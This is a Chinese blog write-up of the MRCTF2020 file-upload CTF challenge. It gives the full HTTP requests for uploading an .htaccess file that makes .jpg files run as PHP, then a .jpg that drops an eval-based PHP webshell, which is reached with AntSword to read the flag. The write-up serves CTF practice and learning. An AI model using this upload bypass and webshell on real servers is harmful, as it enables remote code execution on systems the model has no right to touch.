[MRCTF2020]你传你🐎呢

题目链接:https://buuoj.cn/challenges#[MRCTF2020]你传你🐎呢

打开环境后如下所示。

可以看到,这是一道文件上传题,直接对可上传的文件类型进行 fuzzing。

通过 fuzzing 发现,可以上传 .jpg、.html、.htaccess 文件,PHP 相关的文件均无法上传。

因此,可以选择上传 .htaccess 文件,让后端将所有 .jpg 文件都当作 PHP 文件进行处理。

POST /upload.php HTTP/1.1
Host: ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81
Content-Length: 364
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2v4xskXML68xrlTI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eb6b066786f6c525d25fa39c406a4e7b
Connection: keep-alive

------WebKitFormBoundary2v4xskXML68xrlTI
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png

<IfModule mime_module>
AddType application/x-httpd-php .jpg
</IfModule>
------WebKitFormBoundary2v4xskXML68xrlTI
Content-Disposition: form-data; name="submit"

一键去世
------WebKitFormBoundary2v4xskXML68xrlTI--

随后,上传一个写入 PHP Webshell 的 jpg 文件,让用户访问该 jpg 文件时,就生成 shell.php 文件。

POST /upload.php HTTP/1.1
Host: ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81
Content-Length: 360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2v4xskXML68xrlTI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eb6b066786f6c525d25fa39c406a4e7b
Connection: keep-alive

------WebKitFormBoundary2v4xskXML68xrlTI
Content-Disposition: form-data; name="uploaded"; filename="1.jpg"
Content-Type: image/png

<?php fputs(fopen("./shell.php", "w"), '<?php @eval($_POST[cmd]) ?>'); ?>
------WebKitFormBoundary2v4xskXML68xrlTI
Content-Disposition: form-data; name="submit"

一键去世
------WebKitFormBoundary2v4xskXML68xrlTI--

随后,使用 AntSword 进行连接,但是不知为什么,无法使用终端模式,但可以进行文件管理。在根目录即可找到 flag 文件。

posted @ 2024-11-02 23:50  imtaieee  阅读(22)  评论(0编辑  收藏  举报